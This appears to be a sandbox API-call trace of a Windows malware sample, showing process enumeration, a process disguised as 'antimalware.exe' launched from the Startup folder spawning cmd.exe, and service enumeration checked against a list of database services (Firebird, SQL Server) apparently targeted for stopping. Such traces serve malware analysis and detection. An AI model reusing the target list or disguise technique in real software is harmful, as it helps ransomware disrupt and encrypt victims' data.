	[0046.439] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.439] lstrlenW (lpString="svchost.exe") returned 11
	[0046.439] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.440] lstrlenW (lpString="svchost.exe") returned 11
	[0046.440] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.441] lstrlenW (lpString="svchost.exe") returned 11
	[0046.441] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.441] lstrlenW (lpString="svchost.exe") returned 11
	[0046.441] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.442] lstrlenW (lpString="svchost.exe") returned 11
	[0046.442] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0046.443] lstrlenW (lpString="spoolsv.exe") returned 11
	[0046.443] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.443] lstrlenW (lpString="svchost.exe") returned 11
	[0046.443] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.444] lstrlenW (lpString="svchost.exe") returned 11
	[0046.444] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0046.445] lstrlenW (lpString="audiodg.exe") returned 11
	[0046.445] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0046.446] lstrlenW (lpString="sihost.exe") returned 10
	[0046.446] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.446] lstrlenW (lpString="svchost.exe") returned 11
	[0046.446] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0046.447] lstrlenW (lpString="taskhostw.exe") returned 13
	[0046.447] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0046.448] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0046.448] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0046.448] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0046.449] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0046.449] lstrlenW (lpString="explorer.exe") returned 12
	[0046.449] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0046.450] lstrlenW (lpString="Memory Compression") returned 18
	[0046.450] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0046.451] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0046.451] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0046.451] lstrlenW (lpString="SearchUI.exe") returned 12
	[0046.451] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0046.452] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0046.452] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0046.453] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0046.453] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0046.454] lstrlenW (lpString="taskhostw.exe") returned 13
	[0046.454] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0046.454] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0046.454] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0046.455] lstrlenW (lpString="UsoClient.exe") returned 13
	[0046.455] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0046.456] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0046.456] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0046.457] lstrlenW (lpString="taskhostw.exe") returned 13
	[0046.457] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0046.457] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0046.457] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0046.458] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0046.458] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0046.459] lstrlenW (lpString="msoia.exe") returned 9
	[0046.459] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0046.459] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0046.459] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0046.460] lstrlenW (lpString="msoia.exe") returned 9
	[0046.460] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0046.461] lstrlenW (lpString="roof.exe") returned 8
	[0046.461] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0046.461] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0046.461] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0046.462] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0046.462] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0046.463] lstrlenW (lpString="cause.exe") returned 9
	[0046.463] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0046.463] lstrlenW (lpString="occasionstax.exe") returned 16
	[0046.463] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0046.464] lstrlenW (lpString="distributors.exe") returned 16
	[0046.464] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0046.779] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0046.779] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0046.780] lstrlenW (lpString="rand.exe") returned 8
	[0046.780] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0046.781] lstrlenW (lpString="unlikely.exe") returned 12
	[0046.781] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0046.781] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0046.781] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0046.782] lstrlenW (lpString="promotion.exe") returned 13
	[0046.782] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0046.783] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0046.783] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0046.784] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0046.784] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0046.784] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0046.784] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0046.785] lstrlenW (lpString="bad-length.exe") returned 14
	[0046.785] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0046.786] lstrlenW (lpString="unit.exe") returned 8
	[0046.786] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0046.787] lstrlenW (lpString="parents.exe") returned 11
	[0046.787] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0046.788] lstrlenW (lpString="charge.exe") returned 10
	[0046.788] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0046.789] lstrlenW (lpString="measures-provision.exe") returned 22
	[0046.789] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0046.790] lstrlenW (lpString="dllhost.exe") returned 11
	[0046.790] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0046.790] lstrlenW (lpString="conhost.exe") returned 11
	[0046.791] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0046.791] lstrlenW (lpString="conhost.exe") returned 11
	[0046.791] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0046.792] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0046.792] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0046.794] lstrlenW (lpString="cmd.exe") returned 7
	[0046.794] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0046.794] lstrlenW (lpString="conhost.exe") returned 11
	[0046.795] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.795] lstrlenW (lpString="svchost.exe") returned 11
	[0046.795] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0046.796] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0046.796] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0046.797] lstrlenW (lpString="conhost.exe") returned 11
	[0046.797] Process32NextW (in: hSnapshot=0x35c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0046.797] CloseHandle (hObject=0x35c) returned 1
	[0046.797] Sleep (dwMilliseconds=0x1f4) 
	[0047.363] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fc10
	[0047.363] EnumServicesStatusExW (in: hSCManager=0x68fc10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0047.364] GetLastError () returned 0xea
	[0047.364] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c76) returned 0x3bf7e70
	[0047.364] EnumServicesStatusExW (in: hSCManager=0x68fc10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bf7e70, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bf7e70, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0047.364] CloseServiceHandle (hSCObject=0x68fc10) returned 1
	[0047.365] lstrlenW (lpString="Appinfo") returned 7
	[0047.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0047.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0047.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0047.365] lstrlenW (lpString="AppXSvc") returned 7
	[0047.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0047.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0047.365] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0047.365] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0047.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0047.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0047.365] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0047.365] lstrlenW (lpString="Audiosrv") returned 8
	[0047.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0047.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0047.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0047.365] lstrlenW (lpString="BFE") returned 3
	[0047.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0047.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0047.365] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0047.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0047.365] lstrlenW (lpString="BITS") returned 4
	[0047.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0047.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0047.366] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
